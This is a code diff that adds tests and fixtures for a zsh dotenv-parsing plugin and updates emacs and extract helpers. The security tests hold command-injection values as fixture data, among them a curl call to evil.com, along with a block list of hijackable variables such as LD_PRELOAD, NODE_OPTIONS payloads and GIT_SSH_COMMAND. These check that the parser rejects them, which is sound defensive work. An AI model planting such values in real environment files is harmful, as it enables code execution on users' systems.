+  # 1. We first store the key=value pairs in $vars associative array, which is
+  #    defined before allexport is set to avoid appearing in results.
+  # 2. Afterwards, we join all keys and values of the associative with null delimiters. With 
+  #    "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:)
+  #    we join them with nulls.
+  # 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain
+  #    empty values, and then uses it to populate an associative array.
+  # Don't try to understand this or change it unless you have to. Debugging is a nightmare.
+  typeset -gA DOTENV_SOURCE_VARS
+  DOTENV_SOURCE_VARS=("${(@0)"$(
+    local -A vars
+
+    # Clear all exports first
+    zmodload zsh/parameter
+    unset ${(k)parameters[(R)*export*]} 2>/dev/null || true
+
+    # Source file with allexport
+    setopt localoptions allexport
+    source "$filename"
+
+    # Set all exported variables into an associative array
+    for key in ${(k)parameters[(R)*export*]}; do
+      vars[$key]="${(P)key}"
+    done
+
+    print -rn -- "${(@kvpj:\0:)vars}"
+  )"}")
+}
+
+
+## ZUnit assertion helpers
+
+_zunit_assert_function_exists() {
+  [[ "${+functions[$1]}" -eq 1 ]] && return 0
+  echo "Function '$1' does not exist"
+  exit 1
+}
+
+_zunit_assert_var_same_as() {
+  local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset}
+  if [[ $tvalue != $tcomp ]]; then
+    echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)"
+    exit 78
+  fi
+
+  # Special case for associative arrays
+  if [[ ${(Pt)1} == "association" ]]; then
+    local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}")
+    local -aU keys=("${(@k)value}" "${(@k)comparison}")
+
+    local ret=0 key
+    for key in "${keys[@]}"; do
+      # Key match checks
+      if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then
+        echo "'$1[$key]' is set (value='${value[$key]}')"
+        ret=1
+      elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then
+        echo "'$1[$key]' is not set (expected='${comparison[$key]}')"
+        ret=1
+      # Value match checks
+      elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then
+        echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'"
+        ret=1
+      fi
+    done
+
+    exit $ret
+  fi
+
+  # Generic case
+  local value="${(P)1}" comparison="${(P)2}"
+  [[ "$value" != "$comparison" ]] || exit 0
+  echo "'$1' value mismatch: '$value' is not the same as '$comparison'"
+  exit 1
+}
+
+_zunit_assert_var_is_set() {
+  [[ -v "$1" ]] && return 0
+  echo "Variable '$1' is not set"
+  exit 1
+}
+
+_zunit_assert_var_is_not_set() {
+  [[ ! -v "$1" ]] && return 0
+  echo "Variable '$1' is set"
+  exit 1
+}
@@ -0,0 +1,88 @@
+# Consolidated dotenv test fixture from dotenv test suite
+# Source: https://github.com/motdotla/dotenv/tree/master/tests
+#
+# Copyright (c) 2015, Scott Motte
+# All rights reserved.
+
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are met:
+
+# * Redistributions of source code must retain the above copyright notice, this
+#   list of conditions and the following disclaimer.
+
+# * Redistributions in binary form must reproduce the above copyright notice,
+#   this list of conditions and the following disclaimer in the documentation
+#   and/or other materials provided with the distribution.
+
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+# Basic assignments
+BASIC=basic
+
+# previous line intentionally left blank
+AFTER_LINE=after_line
+
+# Empty values
+EMPTY=
+EMPTY_SINGLE_QUOTES=''
+EMPTY_DOUBLE_QUOTES=""
+
+# Single quotes (literal, no expansion)
+SINGLE_QUOTES='single_quotes'
+SINGLE_QUOTES_SPACED='    single quotes    '
+DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
+
+# Double quotes (with escapes)
+DOUBLE_QUOTES="double_quotes"
+DOUBLE_QUOTES_SPACED="    double quotes    "
+EXPAND_NEWLINES="expand\nnew\nlines"
+
+# Unquoted (no escape expansion)
+DONT_EXPAND_UNQUOTED=dontexpand\nnewlines
+
+# Quotes inside quotes
+DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
+SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
+
+# Comments
+# COMMENTS=work
+INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
+INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
+INLINE_COMMENTS_UNQUOTED=value # work
+
+# Special characters
+EQUAL_SIGNS=equals==
+RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
+USEREMAIL=therealnerdybeast@example.tld
+
+# Multiline values with double quotes
+MULTI_DOUBLE_QUOTED="THIS
+IS
+A
+MULTILINE
+STRING"
+
+# Multiline values with single quotes
+MULTI_SINGLE_QUOTED='THIS
+IS
+A
+MULTILINE
+STRING'
+
+# Multiline PEM certificate
+MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
+LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
+bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
+kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
+u4QuUoobAgMBAAE=
+-----END PUBLIC KEY-----"
@@ -0,0 +1,23 @@
+# Export syntax
+export EXPORTED_VAR=exported_value
+export EXPORTED_EMPTY=
+
+# Variable expansion (in-file forward references)
+BASE_URL=https://api.example.com
+API_ENDPOINT="${BASE_URL}/v1"
+FULL_ENDPOINT=$BASE_URL/v2/users
+COMBINED="${BASE_URL}_suffix"
+
+# Testing multiline quoting edge cases
+MULTILINE_UNQUOTED=This\ is\ a\ \
+multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline
+MULTILINE_DOUBLE_QUOTED="This is a \
+multiline value that should be treated as a single line with an actual newline character"
+MULTILINE_SINGLE_QUOTED='This is a \
+multiline value that should be treated as a single line with a literal backslash and newline'
+MULTILINE_MIXED_QUOTES="This is a \
+multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside"
+
+# Test for regressions
+DATABASE_URL="postgres://user:pass@host/db;sslmode=require"
+VAR_WITH_SEMICOLONS="value ; with ; semicolons"
@@ -0,0 +1,398 @@
+#!/usr/bin/env zunit
+
+
+@setup {
+  typeset -g fixture="$(_create_temp_fixture)"
+  typeset -gA expected_vars=()
+}
+
+@teardown {
+  [[ -f "$fixture" ]] && command rm -f "$fixture"
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'dotenv plugin loads successfully' {
+  assert "parse_dotenv" function_exists
+  assert "source_env" function_exists
+}
+
+@test 'parse returns error for unsupported mode' {
+  run _parse_dotenv_quiet "/dev/null" "export"
+  assert $state equals 0
+
+  run _parse_dotenv_quiet "/dev/null" "test"
+  assert $state equals 0
+
+  run _parse_dotenv_quiet "/dev/null" "invalid_mode"
+  assert $state equals 1
+}
+
+@test 'parse returns error for oversized file (> 10MiB)' {
+  command truncate -s 11M "$fixture" 2>/dev/null
+
+  run _parse_dotenv_quiet "$fixture" "test"
+  assert $state equals 1
+}
+
+@test 'parse returns error for non-existent file' {
+  run _parse_dotenv_quiet "/nonexistent/path/.env" "test"
+  assert $state equals 1
+}
+
+@test 'source_env loads named pipes without blocking' {
+  local tmpdir fifo output result
+  local child_pid writer_pid killer_pid child_rc
+
+  tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")"
+  fifo="$tmpdir/.env"
+  output="$tmpdir/output"
+  command mkfifo "$fifo"
+
+  (
+    print -r -- 'TOKEN=secret' > "$fifo"
+  ) &
+  writer_pid=$!
+
+  (
+    ZSH_DOTENV_PROMPT=false
+    ZSH_DOTENV_FILE="$fifo"
+    source_env
+    print -r -- "${TOKEN-<unset>}" > "$output"
+  ) &
+  child_pid=$!
+
+  (
+    sleep 2
+    kill -0 $child_pid 2>/dev/null || exit 0
+    kill $child_pid 2>/dev/null || exit 0
+  ) &
+  killer_pid=$!
+
+  wait $child_pid
+  child_rc=$?
+
+  kill $killer_pid 2>/dev/null || true
+  kill $writer_pid 2>/dev/null || true
+  wait $writer_pid 2>/dev/null || true
+
+  [[ -f "$output" ]] && result="$(<"$output")"
+  command rm -rf "$tmpdir"
+
+  assert $child_rc equals 0
+  assert "$result" equals 'secret'
+}
+
+@test 'source_env rejects oversized named pipes' {
+  run zsh -fc '
+    source ./dotenv.plugin.zsh
+
+    tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" || exit 1
+    fifo="$tmpdir/.env"
+    command mkfifo "$fifo" || exit 1
+
+    cleanup() {
+      kill $killer_pid 2>/dev/null || true
+      kill $writer_pid 2>/dev/null || true
+      wait $writer_pid 2>/dev/null || true
+      command rm -rf "$tmpdir"
+    }
+    trap cleanup EXIT
+
+    (
+      {
+        print -rn -- "BIG="
+        command dd if=/dev/zero bs=10485761 count=1 2>/dev/null | tr "\0" a
+      } > "$fifo"
+    ) &
+    writer_pid=$!
+
+    (
+      sleep 2
+      kill -0 $$ 2>/dev/null || exit 0
+      kill $$ 2>/dev/null || exit 0
+    ) &
+    killer_pid=$!
+
+    ZSH_DOTENV_PROMPT=false
+    ZSH_DOTENV_FILE="$fifo"
+    source_env >/dev/null 2>&1
+  '
+
+  assert $state equals 1
+}
+
+@test 'parse basic variable assignment' {
+  > "$fixture" <<'EOF'
+# Basic assignments
+BASIC=basic
+
+# previous line intentionally left blank
+AFTER_LINE=after_line
+EOF
+
+  expected_vars=(
+    BASIC 'basic'
+    AFTER_LINE 'after_line'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse empty values' {
+  > "$fixture" <<'EOF'
+# Empty values
+EMPTY=
+EMPTY_SINGLE_QUOTES=''
+EMPTY_DOUBLE_QUOTES=""
+EOF
+
+  expected_vars=(
+    EMPTY ''
+    EMPTY_SINGLE_QUOTES ''
+    EMPTY_DOUBLE_QUOTES ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse single quoted values' {
+  > "$fixture" <<'EOF'
+# Single quotes (literal, no expansion)
+SINGLE_QUOTES='single_quotes'
+SINGLE_QUOTES_SPACED='    single quotes    '
+DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
+EOF
+
+  expected_vars=(
+    SINGLE_QUOTES 'single_quotes'
+    SINGLE_QUOTES_SPACED '    single quotes    '
+    DONT_EXPAND_SQUOTED 'dontexpand\nnewlines'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse double quoted values' {
+  > "$fixture" <<'EOF'
+# Double quotes (with escapes)
+DOUBLE_QUOTES="double_quotes"
+DOUBLE_QUOTES_SPACED="    double quotes    "
+EXPAND_NEWLINES="expand\nnew\nlines"
+EOF
+
+  expected_vars=(
+    DOUBLE_QUOTES 'double_quotes'
+    DOUBLE_QUOTES_SPACED '    double quotes    '
+    EXPAND_NEWLINES "expand\nnew\nlines"
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse unquoted values' {
+  > "$fixture" <<'EOF'
+# Unquoted (no escape expansion)
+DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines
+EOF
+
+
+  expected_vars=(
+    DONT_EXPAND_UNQUOTED 'dontexpandnnewlines'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse quotes inside quotes' {
+  > "$fixture" <<'EOF'
+# Quotes inside quotes
+DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
+SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
+EOF
+
+  expected_vars=(
+    DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes'
+    SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes"
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse inline comments' {
+  > "$fixture" <<'EOF'
+# Comments
+# COMMENTS=work
+INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
+INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
+INLINE_COMMENTS_UNQUOTED=value # work
+EOF
+
+  expected_vars=(
+    INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes'
+    INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes'
+    INLINE_COMMENTS_UNQUOTED 'value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse ignores non-assignment commands with assignment-looking arguments' {
+  > "$fixture" <<'EOF'
+print SHOULD_NOT_PARSE=value
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse special characters' {
+  > "$fixture" <<'EOF'
+# Special characters
+EQUAL_SIGNS=equals==
+RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
+USEREMAIL=therealnerdybeast@example.tld
+EOF
+
+  expected_vars=(
+    EQUAL_SIGNS 'equals=='
+    RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}'
+    USEREMAIL 'therealnerdybeast@example.tld'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse multiline values with mixed quotes' {
+  > "$fixture" <<'EOF'
+# Multiline values with double quotes
+MULTI_DOUBLE_QUOTED="THIS
+IS
+A
+MULTILINE
+STRING"
+
+
+# Multiline values with single quotes
+MULTI_SINGLE_QUOTED='THIS
+IS
+A
+MULTILINE
+STRING'
+
+# Multiline PEM certificate
+MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
+LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
+bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
+kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
+u4QuUoobAgMBAAE=
+-----END PUBLIC KEY-----"
+EOF
+
+  expected_vars=(
+    MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
+    MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
+    MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse export syntax' {
+  > "$fixture" <<'EOF'
+# Exported variables
+export EXPORTED_VAR=exported_value
+export EXPORTED_EMPTY=
+EOF
+
+  expected_vars=(
+    EXPORTED_VAR 'exported_value'
+    EXPORTED_EMPTY ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse in-file variable expansion' {
+  > "$fixture" <<'EOF'
+# Variable expansion (in-file forward references)
+BASE_URL=https://api.example.com
+API_ENDPOINT="${BASE_URL}/v1"
+FULL_ENDPOINT=$BASE_URL/v2/users
+COMBINED="${BASE_URL}_suffix"
+EOF
+
+  expected_vars=(
+    BASE_URL 'https://api.example.com'
+    API_ENDPOINT 'https://api.example.com/v1'
+    FULL_ENDPOINT 'https://api.example.com/v2/users'
+    COMBINED 'https://api.example.com_suffix'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse in-file variable expansion prefers the longest matching variable name' {
+  > "$fixture" <<'EOF'
+A=1
+ABC=2
+X=$ABC
+Y=${ABC}
+Z=$ABCD
+EOF
+
+  expected_vars=(
+    A '1'
+    ABC '2'
+    X '2'
+    Y '2'
+    Z ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse preserves escaped dollar signs before variable expansion' {
+  > "$fixture" <<'EOF'
+BAR=expanded
+ESCAPED_UNQUOTED=foo\$BAR
+ESCAPED_DOUBLE="foo\$BAR"
+ESCAPED_BRACED="\${BAR}"
+EOF
+
+  expected_vars=(
+    BAR 'expanded'
+    ESCAPED_UNQUOTED 'foo$BAR'
+    ESCAPED_DOUBLE 'foo$BAR'
+    ESCAPED_BRACED '${BAR}'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
@@ -0,0 +1,27 @@
+#!/usr/bin/env zunit
+
+@setup {
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@teardown {
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'compatibility: dotenvjs fixture matches native source' {
+  local fixture="${testdir:A}/_support/fixtures/dotenvjs.env"
+
+  _parse_dotenv_test "$fixture"
+  _source_with_allexport "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
+}
+
+@test 'compatibility: features fixture matches native source' {
+  local fixture="${testdir:A}/_support/fixtures/features.env"
+
+  _parse_dotenv_test "$fixture"
+  _source_with_allexport "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
+}
@@ -0,0 +1,209 @@
+#!/usr/bin/env zunit
+
+@setup {
+  typeset -g fixture="$(_create_temp_fixture)"
+  typeset -gA expected_vars=()
+}
+
+@teardown {
+  [[ -f "$fixture" ]] && command rm -f "$fixture"
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'skip dangerous backtick command substitution' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_BACKTICK=`whoami`
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip dangerous subshell command substitution' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_SUBSHELL=$(date)
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip nested command substitution in double quotes' {
+  > "$fixture" <<'EOF'
+# Should be skipped
+DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip multiple words (potential command execution)' {
+  > "$fixture" <<'EOF'
+# Should be skipped - multiple words could execute commands
+BASE_URL=/ echo command run
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'allow literal command substitution in single quotes' {
+  > "$fixture" <<'EOF'
+# Single quotes make everything literal - should be parsed
+SAFE_SINGLE_QUOTED='$(this is literal)'
+SAFE_BACKTICK='`also literal`'
+
+# Should also be parsed
+SAFE_VAR=safe_value
+EOF
+
+  expected_vars=(
+    SAFE_SINGLE_QUOTED '$(this is literal)'
+    SAFE_BACKTICK '`also literal`'
+    SAFE_VAR 'safe_value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip backticks in unquoted values' {
+  > "$fixture" <<'EOF'
+# Backticks in unquoted context - should be skipped
+DANGEROUS_UNQUOTED=`echo danger`
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip dollar-paren in unquoted values' {
+  > "$fixture" <<'EOF'
+# Command substitution in unquoted context - should be skipped
+DANGEROUS_UNQUOTED=$(uname -a)
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
+  > "$fixture" <<'EOF'
+# Dollar signs that don't start command substitution
+SAFE_DOLLARS='$HOME is literal'
+SAFE_PRICE='Cost is $50'
+SAFE_VAR='value$123'
+
+# Should all be parsed
+SAFE_VAR2=safe_value
+EOF
+
+  expected_vars=(
+    SAFE_DOLLARS '$HOME is literal'
+    SAFE_PRICE 'Cost is $50'
+    SAFE_VAR 'value$123'
+    SAFE_VAR2 'safe_value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip quoted command substitution' {
+  > "$fixture" <<'EOF'
+HARMLESS_COMMAND="\$(echo)"
+ANOTHER_ONE=$'\x24\x28echo\x29'
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'comprehensive security test with mixed safe and dangerous patterns' {
+  > "$fixture" <<'EOF'
+# These should be SKIPPED (dangerous)
+DANGEROUS_BACKTICK=`whoami`
+DANGEROUS_SUBSHELL=$(date)
+DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
+LOOKS_SAFE=$(curl http://evil.com)
+BASE_URL=/ echo command run
+
+# These should WORK (safe)
+SAFE_BEFORE=safe_value_1
+SAFE_AFTER=safe_value_2
+SAFE_SINGLE_QUOTED='$(this is literal)'
+SAFE_SINGLE_QUOTED2='`also literal`'
+SAFE_DOLLARS='$HOME'
+SAFE_PRICE="$50"
+EOF
+
+  expected_vars=(
+    SAFE_BEFORE 'safe_value_1'
+    SAFE_AFTER 'safe_value_2'
+    SAFE_SINGLE_QUOTED '$(this is literal)'
+    SAFE_SINGLE_QUOTED2 '`also literal`'
+    SAFE_DOLLARS '$HOME'
+    SAFE_PRICE '$50'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+
+
+@test 'blocks changes of special environment variables' {
+  _parse_dotenv_test =(<<'EOF'
+# Executes on the next node/npm/npx invocation
+NODE_OPTIONS=--require=./payload.js
+
+# Used for shell initialization
+BASH_ENV=./payload.sh
+# Used for shell initialization in zsh, but also respected by some tools like git
+# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args
+# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV
+ENV=./payload.sh
+# Used for zsh startup
+ZDOTDIR=./.malicious_zsh
+ZSH=./.malicious_zsh
+
+# These are used for native code injection
+LD_PRELOAD=./payload.so
+LD_LIBRARY_PATH=./malicious_libs
+DYLD_INSERT_LIBRARIES=./payload.dylib
+
+# Git environment variables
+GIT_CONFIG_GLOBAL=./.gitconfig-malicious
+GIT_DIR=./malicious_git_dir
+GIT_EDITOR=./malicious_editor
+GIT_EXTERNAL_DIFF=./malicious_diff
+GIT_EXEC_PATH=./.malicious_git_exec
+GIT_PAGER=./malicious_pager
+GIT_SSH=./malicious_ssh
+GIT_SSH_COMMAND=./malicious_ssh_command
+GIT_SSL_NO_VERIFY=true
+GIT_TEMPLATE_DIR=./malicious_templates # for persistence
+
+# Special exported variables
+PATH=./malicious_bin:$PATH
+EDITOR=./malicious
+VISUAL=./malicious
+PAGER=./malicious
+EOF
+)
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
@@ -1,14 +1,33 @@
 #!/bin/sh

 emacsfun() {
-  local cmd frames
+  local cmd frames arg tty

  # Build the Emacs Lisp command to check for suitable frames
  # See https://www.gnu.org/software/emacs/manual/html_node/elisp/Frames.html#index-framep
-  case "$*" in
-  *-t*|*--tty*|*-nw*) cmd="(memq 't (mapcar 'framep (frame-list)))" ;; # if != nil, there are tty frames
-  *) cmd="(delete 't (mapcar 'framep (frame-list)))" ;; # if != nil, there are graphical terminals (x, w32, ns)
-  esac
+  for arg in "$@"; do
+    case "$arg" in
+    -t|--tty|-nw) tty=1; break ;;
+    esac
+  done
+
+  if [ -n "$tty" ]; then
+    cmd="(memq 't (mapcar 'framep (frame-list)))" # if != nil, there are tty frames
+  else
+    cmd="(delete 't (mapcar 'framep (frame-list)))" # if != nil, there are graphical terminals (x, w32, ns)
+  fi
+
+  # A tty frame needs the client to stay attached, so drop the --no-wait the
+  # `emacs` alias adds. Otherwise emacsclient returns at once and nothing opens.
+  if [ -n "$tty" ]; then
+    for arg do
+      shift
+      case "$arg" in
+      --no-wait) continue ;;
+      esac
+      set -- "$@" "$arg"
+    done
+  fi

  # Check if there are suitable frames
  frames="$(emacsclient -a '' -n -e "$cmd" 2>/dev/null |sed 's/.*\x07//g' )"
@@ -53,5 +53,6 @@ local -a exts=(

 _arguments \
  '(-r --remove)'{-r,--remove}'[Remove archive.]' \
+  '(-t --to-directory)'{-t,--to-directory}'[Extract to a specific directory.]' \
  "*::archive file:_files -g '(#i)*.(${(j:|:)exts})(-.)'" \
    && return 0
@@ -9,14 +9,41 @@ Usage: extract [-option] [file ...]

 Options:
    -r, --remove    Remove archive after unpacking.
+    -t, --to-directory <dir>  Extract to a specific directory instead of the current one.
 EOF
  fi

  local remove_archive=1
-  if [[ "$1" == "-r" ]] || [[ "$1" == "--remove" ]]; then
-    remove_archive=0
-    shift
-  fi
+  local target_directory=""
+
+  while (( $# > 0 )); do
+    case "$1" in
+      -r|--remove)
+        remove_archive=0
+        shift
+        ;;
+      -t|--to-directory)
+        shift
+        if (( $# == 0 )); then
+          echo "extract: -t/--to-directory requires a directory argument" >&2
+          return 1
+        fi
+
+        target_directory="$1"
+        shift
+
+        if [[ ! -d "$target_directory" ]]; then
+          echo "extract: '$target_directory' is not a valid directory" >&2
+          return 1
+        fi
+
+        target_directory="${target_directory%/}"
+        ;;
+      *)
+        break
+        ;;
+    esac
+  done

  local pwd="$PWD"
  while (( $# > 0 )); do
@@ -35,6 +62,10 @@ EOF
      extract_dir="${extract_dir:r}"
    fi

+    if [[ -n "$target_directory" ]]; then
+      extract_dir="$target_directory/${extract_dir:t}"
+    fi
+
    # If there's a file or directory with the same name as the archive
    # add a random string to the end of the extract directory
    if [[ -e "$extract_dir" ]]; then
@@ -71,7 +102,7 @@ EOF
      (*.tar.lrz) (( $+commands[lrzuntar] )) && lrzuntar "$full_path" ;;
      (*.gz) (( $+commands[pigz] )) && pigz -cdk "$full_path" > "${file:t:r}" || gunzip -ck "$full_path" > "${file:t:r}" ;;
      (*.bz2) (( $+commands[pbzip2] )) && pbzip2 -d "$full_path" || bunzip2 "$full_path" ;;
-      (*.xz) unxz "$full_path" ;;
+      (*.xz) xzcat "$full_path" > "${file:t:r}" ;;
      (*.lrz) (( $+commands[lrunzip] )) && lrunzip "$full_path" ;;
      (*.lz4) lz4 -d "$full_path" ;;
      (*.lzma) unlzma "$full_path" ;;
@@ -126,7 +157,7 @@ EOF
      # 1. Move and rename the extracted file/folder to a temporary random name
      # 2. Delete the empty folder
      # 3. Rename the extracted file/folder to the original name
-      if [[ "${content[1]:t}" == "$extract_dir" ]]; then
+      if [[ "${content[1]:t}" == "${extract_dir:t}" ]]; then
        # =(:) gives /tmp/zsh<random>, with :t it gives zsh<random>
